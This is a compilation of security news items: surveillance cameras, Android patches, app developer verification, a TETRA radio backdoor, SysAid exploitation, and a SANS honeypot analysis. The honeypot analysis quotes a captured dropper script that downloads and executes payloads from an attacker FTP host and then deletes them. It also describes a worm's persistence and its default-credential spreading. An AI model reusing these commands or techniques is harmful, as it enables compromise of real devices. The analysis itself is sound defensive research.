This week on the Lock and Code podcast… There’s an entire surveillance network popping up across the United States that has likely already captured your information, all for the non-suspicion of driving a car. Automated License Plate Readers, or ALPRs, are AI-powered cameras that scan and store an image of every single vehicle that passes their view. They are mounted onto street lights, installed under bridges, disguised in water barrels, and affixed onto telephone poles, lampposts, parking signs, and even cop cars. Once installed, these cameras capture a vehicle’s license plate number, along with its make, model, and color, and any identifying features, like a bumper sticker, or damage, or even sport trim options. Because nearly every ALPR camera has an associated location, these devices can reveal where a car was headed, and at what time, and by linking data from multiple ALPRs, it’s easy to determine a car’s daylong route and, by proxy, it’s owner’s daily routine. This deeply sensitive information has been exposed in recent history. In 2024, the US Cybersecurity and Information Security Agency discovered seven vulnerabilities in cameras made by Motorola Solutions, and at the start of 2025, the outlet Wired reported that more than 150 ALPR cameras were leaking their live streams. But there’s another concern with ALPRs besides data security and potential vulnerability exploits, and that’s with what they store and how they’re accessed. ALPRs are almost uniformly purchased and used by law enforcement. These devices have been used to help solve crime, but their databases can be accessed by police who do not live in your city, or county, or even state, and who do not need a warrant before making a search. In fact, when police access the databases managed by one major ALPR manufacturer, named Flock, one of the few guardrails those police encounter is needing to type a single word in a basic text box. When Electronic Frontier Foundation analyzed 12 million searches made by police in Flock’s systems, they learned that police sometimes filled that text box with the word “protest,” meaning that police were potentially investigating activity that is protected by the First Amendment. Today, on the Lock and Code podcast with host David Ruiz, we speak with Will Freeman, founder of the ALRP-tracking project DeFlock Me, about this growing tide of neighborhood surveillance and the flimsy protections afforded to everyday people. “License plate readers are a hundred percent used to circumvent the Fourth Amendment because [police] don’t have to see a judge. They don’t have to find probable cause. According to the policies of most police departments, they don’t even have to have reasonable suspicion.” Tune in today to listen to the full conversation. Show notes and credits: Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com) Licensed under Creative Commons: By Attribution 4.0 License http://creativecommons.org/licenses/by/4.0/ Outro Music: “Good God” by Wowa (unminus.com) Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it. Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.
malwarebytes.comJan 5, 2026extracted
Google fixes Android vulnerabilities “under targeted exploitation” (CVE-2025-48633, CVE-2025-48572)
Google fixes Android vulnerabilities “under targeted exploitation” (CVE-2025-48633, CVE-2025-48572) Google has shipped patches for 51 Android vulnerabilities, including two high-severity flaws (CVE-2025-48633, CVE-2025-48572) that “may be under limited, targeted exploitation”. According to the December Android security bulletin, both vulnerabilities affect the Android Framework, which is a collection of core software components, libraries, and APIs that developers use to build Android apps. Their exact nature has yet to be revealed, but the bulletin notes that CVE-2025-48633 can be exploited by Android applications to access sensitive information, and CVE-2025-48572 may allow attackers to elevate privileges on vulnerable Android devices. As per usual, details about the attacks are kept under wraps, but the wording seems to point to state-sponsored attackers and/or espionage via spyware. The bulletin lists additional 56 flaws affecting Android’s kernel, and ARM, Imagination Technologies, MediaTek, Unisoc and Qualcomm components. Patches for those will be included in the December 5 “patch level” (2025-12-05). (Google ships two security patch levels “so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly.”) The December 1 patches (2025-12-01) are available for Android 13, 14, 15, and 16. Security updates for Android-based devices Vendors of Android-powered devices usually get a month or so to develop security updates, so they may ship them around the same time Google publishes its monthly Android security bulletin. Samsung has pushed out a maintenance release for major flagship models that includes patches from both Google and Samsung, including the one for CVE-2025-48633. Motorola has likewise patched only CVE-2025-48633 this December. Huawei, LGE, Nokia, Oppo, and others are expected to release patches soon. Android users are advised to check for updates and implement them if they are available. UPDATE (December 3, 2025, 09:30 a.m. ET): CISA has added the two vulnerabilities to its Known Exploited Vulnerabilities catalog. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comDec 2, 2025extracted
Exploring Uploads in a Dshield Honeypot Environment [Guest Diary], (Thu, Sep 18th)
[This is a Guest Diary by Nathan Smisson, an ISC intern as part of the SANS.edu BACS program] The goal of this project is to test the suitability of various data entry points within the dshield ecosystem to determine which metrics are likely to yield consistently interesting results. This article explores analysis of files uploaded to the cowrie honeypot server. Throughout this project, a number of tools have been developed to aid in improving workflow efficiency for analysts conducting research using a cowrie honeypot. Here, a relatively simple tool called upload-stats is used to enumerate basic information about the files in the default cowrie ‘downloads’ directory at /srv/cowrie/var/lib/cowrie/downloads. This and other tools developed in this project are available for use or contribution at https://github.com/neurohypophysis/dshield-tooling. The configuration of my honeypot is intentionally very typical, closely following the installation and setup guide on https://github.com/DShield-ISC/dshield/tree/main. The node in use for the purposes of this article is was set up on an EC2 instance in the AWS us-east-1 zone, which is old and very large, even by AWS standards. Part 1: Identified Shell Script Investigation The upload-stats tool works by enumerating some basic information about the files present in the downloads directory and printing it along with any corresponding information discovered in the honeypot event logs. If the logs are still present on the system, it will automatically identify information such as source IP, time of upload, and other statistics that can aid in further exploration of interesting-looking files. Given no arguments, the tool produces a quick summary of the files available on the system: In this case, 21 of the files are reported as empty; if you’re following along, you may notice that the names of many such empty files are something short like tmp5wtvcehx. When an upload is started, cowrie creates a temporary file, populates it with the contents of the uploaded file, and then renames it to the SHA hash of the result. For empty files with temporary placeholder names, that likely means that the upload failed for some reason. Among the top file types provided, we have a single file that was identified by the UNIX file utility as a Bash script. As it turns out, this was not the only shell script among the files present in the directory at the time this command was run. The reason that only one of them was identified as a shell script will be explored later in this article. First, let’s take a look at the outlier. Luckily it’s relatively short, so I can include the contents of the entire script here. Fortunately for us, this script is very repetitive and easy to read, so let’s go line by line for one iteration of the pattern (which, I might add, could be much more concise had the actor used a for loop). Line 1 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; Each line of the script begins by attempting to change to several directories (cd /tmp || cd /var/run || cd /mnt || cd /root || cd /). This fallback sequence suggests a preference for a writable, low-monitoring location first (/tmp) and will attempt alternative directories only if prior ones fail, with the file root as a last resort. Line 2 ftpget -v -u anonymous -p anonymous -P 21 87.121.84.163 arm5 arm5; What follows is a command to download an architecture-specific payload from the actor’s FTP server. More specifically, the script as a whole, if executed (and assuming we have ftpget installed, which we do not) will download payloads for 14 different architectures, casting a pretty wide net. The inclusion of the -v (verbose) switch indicates that the actor expects, or at least hopes for non-blind RCE in this context, though we can assume FTP server accesses from the victim would be visible to the actor if execution succeeded, regardless. To be thorough, here are the targeted CPU architecture variants: • mips, mipsel (MIPS variants) • sh4 (SuperH architecture) • x86_64 (64-bit Intel/AMD) • arm6, arm, arm5, arm7 (various ARM versions) • i686, x86 (32-bit Intel/AMD) • powerpc, ppc4fp (PowerPC variants) • m68k (Motorola 68k series) • spc (Ambiguous; may refer to SPC-700, among others. I’d have to ask the author of the malware for clarification) An interesting list, to be sure. After researching some of the more obscure variants, the underlying commonality seems to be targeting IoT/embedded/OT devices or (likely legacy) networking equipment. It’s hard to say anything beyond that for certain, though many of these have much more limited applications than others (e.g., SuperH, Motorola 68000 series, and SPC vs x86_64). Notably absent are any Apple chips or many of the modern chips used in Android handsets. Given the types of devices used with some of these specialized hardware sets, the final payload is unlikely to attempt anything involving a heavy workload. I also noted the use of the old plaintext FTP for payload transfer: old becomes new again. Line 3 chmod 777 arm5 ./arm5 telnet This step changes the permissions of the downloaded payload to executable and then executes it with the argument ‘telnet’, which I’m guessing indicates the intended backdoor method. Note that the script as received will attempt to execute all of the downloaded payloads, meaning that any environment discovery likely happens at this step, and only the payload corresponding to the compromised host’s chip architecture will successfully execute. Line 4 rm -rf arm5 Finally, the payload is removed, possibly indicating that a persistence mechanism has been installed with the previous step, and more obviously indicating a desire to leave slightly fewer forensic artifacts on the target system. Second-Stage Payload Server Analysis The address 87.121.84.163 did not appear in any of the other uploaded files. It appeared in several IP reputation blocklists as reported by Speedguide and Talos, though the referenced database at spamhaus.org did not return any immediately visible results. At any rate, the RIPE records have the /24 netblock registered to an AS owned by a Dutch VPS provider, VPSVAULTHOST, which looks like it’s operating in the UK. I’m assuming it’s a cloud-hosted server. Interestingly, the ISC page has the country listed as Bulgaria, though I didn’t see anything else pointing there in my search. Nothing else is reported on the ISC website. Unfortunately, I have no other records of the source of this attack directly. 87.121.84.163 also did not appear in any other records, which is expected considering its role in the attack as a payload server. In the next section, we will see instances of honeypot uploads with associated log entries, allowing for a more complete picture of an attack origin and life cycle. Part 2: Botnet Worm Discovery Continuing the investigation of patterns in uploaded files, I noticed that all of the file types identified by the system as ‘data’ appear to be readable text. In the earlier bash script analysis, I noted that the file in question was not the only shell script present. That is, it was not the only file containing a shebang (!#/bin/bash). Moreover, file permissions that may have permitted identification of a shell script as such (i.e., 644 – readable by users other than root) were not unique to this file. In fact, all of the ‘data’ files were not only readable but also consistently contained the string ‘bin/bash’. In the following command, I filter for file types matching ‘data’ and containing ‘bin/bash’: Note: Many of the files have no corresponding ‘metadata’ because the log records associated with these files have aged off of the system, but the files themselves have not. Also, there are more total files in this screenshot because the timeline of this investigation was not perfectly linear. In the previous screenshot we saw that our query for data files containing the bash interpreter path returned six matches. Re-running the tool with no arguments, it appears that these six files account for 100% of our files of type ‘data’. Looking at the other file types, the readability was either self-explanatory (ASCII, Unicode, shell script, empty) or inconsistent (some ‘regular files’ were binary while others were text-based). The reason behind the variance in assigned permissions (either 0600 or 0644 for all files in the directory) has to do with the source of the activity from cowrie’s perspective. A look at cowrie’s VFS (virtual file system) templates in fs.pickle would likely reveal the specifics of how these permissions are assigned, but for our purposes that’s not necessary at the moment. To gain a general sense for the provenance of different file types on the system, we can start by examining the behavioral patterns associated with IPs that uploaded files of different types. To set a baseline, I used another tool, ip-activity, to aggregate all of the log events associated with addresses that uploaded ‘regular’ files. Luckily not all of the logs related to these files have yet aged off. This collection of data should reveal any consistencies in the context behind how these files were uploaded, which indeed it does. For all files labeled as ‘regular’, the actor makes several login attempts, succeeds, and then uploads a file via SFTP. With that knowledge, activity patterns related to ‘data’ files should stand out. As hoped, this pattern is also consistent: for files marked ‘data’, the source came from stdin during an active SSH session. That is, for these files the actor interacted with the system during an authenticated session before and/or after pushing a payload onto it, for 81.172.146.181 and 176.188.22.163 at the very least. Once verified, this type of information will be useful to include in the output for later editions of the upload-stats tool. While looking over the activity for these two addresses, the login attempts caught my eye. Both clients attempted pi/raspberry and pi/raspberryraspberry993311. Obviously enough they’re both looking for RBP devices in this case, but raspberryraspberry993311 is a rather specific guess, considering that it was the second of only two guesses from two (to our current knowledge) independent hosts. To me, that indicates this password is probably not a random guess from a brute-forcing attempt. A bit of research into ‘raspberryraspberry993311’ revealed a specific botnet malware strain associated with Pi IoT devices identified as UNIX_PIMINE.A by Trend Micro. The 2019 article linked below features a through analysis of the malware that I will compare with the activity captured on my device. https://www.researchgate.net/profile/Joakim-Kargaard-2/publication/334704944_Raspberry_Pi_Malware_An_Analysis_of_Cyberattacks_Towards_IoT_Devices/links/5e6f86ea458515e555803389/Raspberry-Pi-Malware-An-Analysis-of-Cyberattacks-Towards-IoT-Devices.pdf To start, let’s compare the commands that followed successful authentication to the honeypot. From my output, each command was saved to a separate tty logfile, so unfortunately the venerable playlog.py is not especially useful in this case. However, we can still extract the command events directly from the logs, which I did. For those not aware, playlog.py is a tool created by Upi Tamminen ([email protected]) that parses cowrie TTY logs (saved in /srv/cowrie/var/lib/cowrie/tty/) and allows analysts to replay the activity in real time. Both of our actors immediately pull a file to /tmp using scp, then set its permissions to executable and run it. So far this is exactly aligned with the activity described in the UNIX_PIMINE.A article. Next I will examine the files uploaded to see if they also follow the same path, where they may differ, and whether they appear to be members of the same botnet channel. Screenshot from the researchgate.net article referenced above Static Malware Analysis: UNIX_PIMINE.A Comparing the two samples uploaded by 81.172.146.181 and 176.188.22.163, the only difference between them is an scp control message prepended to the top of the files: C0755 4745 ocM8dVVu and C0755 4745 komDY9Nv, respectively. To take the latter example, this control message breaks out to ‘copy file komDY9Nv of size 4745 with permissions 0755.’ As a side, the presence of control messages at the top of the files uploaded from stdin likely explains why the ‘data’ files are not marked as shell scripts. In addition, a null byte at the end of the files may explain why they are classified as ‘data’ rather than ASCII text. Before continuing analysis of the scripts associated with just these two addresses, you may have noticed in the earlier enumeration of ‘data’ files that the sizes of the remaining files for which we lack log data appear to be identical. Running vimdiff against the remaining files confirms that our other 4 data file records are instances of attacks from members of the same botnet. Continuing down the code, everything appears to align with the description given in the referenced article. The malware makes a copy of itself to a file with a random 8-digit name within /opt, modifies /etc/local.rc to execute the backdoor on reboot, and then instructs the system to do just that. After that, the malware attempts to kill and remove a number of other (apparent) cryptomining plants that may already exist on the compromised system, before connecting out to an Undernet Internet Relay Chat (IRC) channel on port 6667, where it joins the #biret C2 channel with an username based on the md5 hash of the compromised system’s uname output. As pointed out in the article, this is a fairly low-entropy generation scheme for unique usernames, since the probability of multiple systems with identical output for ‘uname -a’ is very high, leading to username collisions and ultimately limiting the worm’s growth factor. I suspected channel rotation might have occurred since the article was published, but the instances that hit my machine were in fact from members of the same botnet from 2019. Malware that endlessly replicates itself independently of its originator, as it turns out, is pretty hard to patch. The worm’s spreading mechanism involves the installation of sshpass for simplifying ssh-based connections to new targets and Zmap for port scanning. Specifically, it scans IPs (iterating 100,000 addresses at a time) for port 22 availability and stores reachable addresses in a temporary file before trying its 2 credential sets: pi/raspberry and pi/raspberryraspberry993311. The password ‘raspberry’ is a long-running default for Pi devices. However, at this point it’s still not entirely clear why this second combination is used in particular; it is strongly correlated with various pi-related attacks, but does not seem to be a common default password as far as I have been able to discover. It’s possible that some other malware variants (such as those this worm attempts to remove) create an account on compromised hosts with these credentials, leading to an increased likelihood of successful authentication for the types of devices this worm looks to infect. Source Address Consideration: Compromised Pies Knowing what we do about the way this malware spreads, the session activity is pretty clear. It’s best to think of the actor addresses in this case as two compromised victims of the same worm; i.e., members of the same botnet. From the two sets of logs we have at hand, 81.172.146.181 appears to be a Dutch ISP-assigned public address within a network belonging to DELTA Fiber Nederland B.V. My guess would be that this is a network/IoT appliance or possibly an RBP positioned behind a SOHO gateway router with port forwarding, based on what we’ve seen so far. 176.188.22.163 is a similar story: in this case, belonging to a French ISP (Bouygues Telecom). No malicious activity has been reported for either address on the ISC website. Conclusion: File Uploads and Attack Descriptions Correlation of event logs to files uploaded to the honeypot has proved effective for discovering highly specific attack patterns. Moreover, context surrounding the operating internals of the cowrie (or other honeypot) environment is crucial for understanding the chronology and substance of an event. Automating processes such as event correlation and the ability to group files, IPs, and other information into discrete buckets greatly reduces the overhead required for such investigations and encourages analytic insights. A disadvantage to this approach is that the scope of activity relative to the volume of events not logged in file uploads is very small, though depending on the intent of an investigation, this may not be a problem. The attacks observed in this article highlight the need primarily for maintenance and monitoring of legacy systems, as well as the necessity of changing default passwords before exposing systems to the public Internet. [1] https://github.com/neurohypophysis/dshield-tooling [2] https://github.com/DShield-ISC/dshield/tree/main [3] https://www.sans.edu/cyber-security-programs/bachelors-degree/ ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu
isc.sans.eduSep 18, 2025extracted
Google fixes actively exploited Android vulnerabilities (CVE-2025-48543, CVE-2025-38352)
Google fixes actively exploited Android vulnerabilities (CVE-2025-48543, CVE-2025-38352) Google has provided fixes for over 100 Android vulnerabilities, including CVE-2025-48543 and CVE-2025-38352, which “may be under limited, targeted exploitation.” Among the fixed flaws is also CVE-2025-48539, a critical vulnerability in the System component that “could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed and no user interaction required.” The exploited vulnerabilities CVE-2025-48543 affects the Android Runtime – the application runtime environment used by Google’s mobile operating system. CVE-2025-38352 is a race condition in Android’s Linux kernel. Both vulnerabilities could lead to local escalation of privilege with no additional execution privileges needed, and require no user interaction to be exploited. Google did not share details about the attacks in which these vulnerabilities have been leveraged, but the wording they used – “limited, targeted exploitation” – makes it likely that they are being exploited to deliver mercenary spyware to very specific high-risk users. Nevertheless, all Android would do well to implement the fixes as soon as possible. Security updates from Google, Samsung and Motorola Google has provided security updates for its Android-powered Pixel phones, which address Pixel-specific issues and all issues in the September 2025 Android Security Bulletin. Samsung has released a maintenance release for major flagship models fixing both flaws (and many others fixed by Google this September). Motorola’s September 2025 security patch updates include a fix for CVE-2025-48543, but not for CVE-2025-38352. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comSep 4, 2025extracted
Developer verification: a promised lift for Android security
To reduce the number of harmful apps targeting Android users, Google has announced that certified Android devices will require all apps to be registered by verified developers in order to be installed. But this new measure is not just about malware that’s found on the Google Play Store, it’s mainly about sideloaded apps (apps downloaded from outside the official Google Play Store). Since August 31, 2023, apps on the Play Store already were subject to a D-U-N-S (Data Universal Numbering System) number requirement. Google says this has helped reduce the number of cybercriminals exploiting anonymity to distribute malware, commit financial fraud, and steal sensitive data. To broaden this success, Google intends to start sending out invitations gradually starting October 2025, before opening it up to all developers in March 2026. In September 2026, the requirements go into effect in Brazil, Indonesia, Singapore, and Thailand. At this point, any app installed on a certified Android device in these regions must be registered by a verified developer. The requirements will then be rolled out globally. This initiative, branded as ‘Developer verification,’ aims to combat the widespread problem of malware from sideloaded apps. Google says its research shows that 50 times more malware comes from sideloaded sources than from Google Play itself. So, the new rules extend to everyone distributing Android apps, including those hosting them on third-party app stores or offering APK downloads directly. For developers who distribute their apps solely through the Google Play Store there will not be much of a change. Yet, while legitimate developers will tell you how hard it is to get their apps accepted into the Google Play Store, cybercriminals manage to sneak in their malicious apps anyway. For a full understanding of the new requirement, we’ll need to explain what “certified Android devices” are. A definition for a certified Android device is: an Android product—such as a smartphone, tablet, smart TV, or streaming box—that has passed a rigorous series of Google security, compatibility, and performance tests, and is officially approved by Google. Certified devices run an official version of Android and have access to Google apps and the Play Store. Uncertified devices often lack these and may not receive updates or proper security support. This is important to know because not all Android malware is limited to phones. Take for example, the BadBox botnet which also affects devices like TV streaming boxes, tablets, and smart TVs. In practice, a certified device encompasses all mainstream devices from Samsung, Xiaomi, Motorola, OnePlus, Oppo, Vivo, and the Google Pixel line. Reportedly, non-certified devices are those from Huawei, Amazon Fire tablets, and a set of Chinese TV boxes and smartphones that use heavily modified OS images. Google encourages all developers to sign up for early access as the best way to prepare and stay informed. “Early participants will also get: An invitation to an exclusive community discussion forum. Priority support for these new requirements. The chance to provide feedback and help us shape the experience.” Whether these controls will be effective largely depends on enforcement and public awareness, but Google feels it marks real progress toward a safer mobile ecosystem. Let us know how you feel about this in the comments. Scammers know more about you than you think. Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in.
malwarebytes.comAug 27, 2025extracted
Google to verify all Android devs to block malware on Google Play
Google is introducing a new defense for Android called ‘Developer Verification’ to block malware installations from sideloaded apps sourced from outside the official Google Play app store. For apps on Google Play, there was already a requirement for publishers to provide a D-U-N-S (Data Universal Numbering System) number, introduced on August 31, 2023. Google says this has had a notable effect in reducing malware on the platform. However, the system didn’t apply to the vast developer ecosystem outside the app store. “We’ve seen how malicious actors hide behind anonymity to harm users by impersonating developers and using their brand image to create convincing fake apps,” reads Google’s announcement. “The scale of this threat is significant: our recent analysis found over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.” Although the threat is more prevalent outside Google Play, the developer verification requirement applies to both apps on Google Play and apps hosted on third-party app stores. Starting in 2026, all apps installed on certified Android devices must come from developers who have verified their identity with Google. Early access to the Developer Verification program will begin this year in October, and the system will open to all Android application developers in March 2026. In September 2026, the identity verification requirement will become mandatory for Brazil, Indonesia, Singapore, and Thailand, before it rolls out globally in 2027. The expected effect is to have sideloading, non-compliant apps blocked by the operating system with a security message on certified devices. Certified Android devices are those that have passed Google’s Compatibility Test Suite (CTS) and are approved to ship with Google Play Services, Play Store, and Play Protect. In practice, this encompasses all mainstream devices from Samsung, Xiaomi, Motorola, OnePlus, Oppo, Vivo, and the Google Pixel line. Non-certified devices are those from Huawei, Amazon Fire tablets, and shady Chinese TV boxes or smartphones that use heavily modified OS images and questionable components. Those devices are not subject to the new rule enforcement, and their users will be able to continue sideloading APKs from unverified and anonymous developers. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 26, 2025extracted
Encryption Backdoor in Military/Police Radios
Encryption Backdoor in Military/Police Radios I wrote about this in 2023. Here’s the story: Three Dutch security analysts discovered the vulnerabilities—five in total—in a European radio standard called TETRA (Terrestrial Trunked Radio), which is used in radios made by Motorola, Damm, Hytera, and others. The standard has been used in radios since the ’90s, but the flaws remained unknown because encryption algorithms used in TETRA were kept secret until now. There’s new news: In 2023, Carlo Meijer, Wouter Bokslag, and Jos Wetzels of security firm Midnight Blue, based in the Netherlands, discovered vulnerabilities in encryption algorithms that are part of a European radio standard created by ETSI called TETRA (Terrestrial Trunked Radio), which has been baked into radio systems made by Motorola, Damm, Sepura, and others since the ’90s. The flaws remained unknown publicly until their disclosure, because ETSI refused for decades to let anyone examine the proprietary algorithms. […] But now the same researchers have found that at least one implementation of the end-to-end encryption solution endorsed by ETSI has a similar issue that makes it equally vulnerable to eavesdropping. The encryption algorithm used for the device they examined starts with a 128-bit key, but this gets compressed to 56 bits before it encrypts traffic, making it easier to crack. It’s not clear who is using this implementation of the end-to-end encryption algorithm, nor if anyone using devices with the end-to-end encryption is aware of the security vulnerability in them. […] The end-to-end encryption the researchers examined recently is designed to run on top of TETRA encryption algorithms. The researchers found the issue with the end-to-end encryption (E2EE) only after extracting and reverse-engineering the E2EE algorithm used in a radio made by Sepura. These seem to be deliberately implemented backdoors.
schneier.comAug 26, 2025extracted
CISA warns of hackers exploiting SysAid vulnerabilities in attacks
CISA has warned that attackers are actively exploiting two security vulnerabilities in the SysAid IT service management (ITSM) software to hijack administrator accounts. The two unauthenticated XML External Entity (XXE) flaws, tracked as CVE-2025-2775 and CVE-2025-2776, were reported by watchTowr Labs security researchers in December 2024 and patched in March with the release of SysAid On-Prem version 24.4.60. One month later, watchTowr Labs also published proof-of-concept code, showing that the SysAid vulnerabilities are trivial to exploit and allow attackers to retrieve local files containing sensitive information. While CISA didn't share any additional details regarding these ongoing attacks, it did add the two vulnerabilities to its Known Exploited Vulnerabilities Catalog, giving Federal Civilian Executive Branch (FCEB) agencies three weeks to patch their systems by August 12 as mandated by the November 2021 Binding Operational Directive (BOD) 22-01. Although BOD 22-01 primarily targets U.S. federal agencies, the cybersecurity agency encourages all organizations, including private companies, to prioritize patching the two actively exploited flaws as soon as possible. "These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise," CISA warned. SysAid On-Prem is hosted on customers' infrastructure, enabling IT teams to manage various services within an organization. According to Shadowserver data, dozens of SysAid instances are currently exposed online, most of them from North America and Europe. "At SysAid, we take security very seriously and would like to assure our users that we have addressed and mitigated these vulnerabilities through appropriate patches," a SysAid spokesperson told BleepingComputer. "We have also provided CISA with the latest information on how to patch these vulnerabilities, and we encourage all customers to ensure their systems are updated with the most recent security updates." SysAid has over 5,000 customers and more than 10 million users across 140 countries worldwide, serving a diverse range of clients, from small businesses to Fortune 500 enterprises, including high-profile companies such as Xerox, IKEA, Coca-Cola, Honda, Michelin, and Motorola. Update July 24, 03:33 EDT: Added SysAid statement. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 23, 2025extracted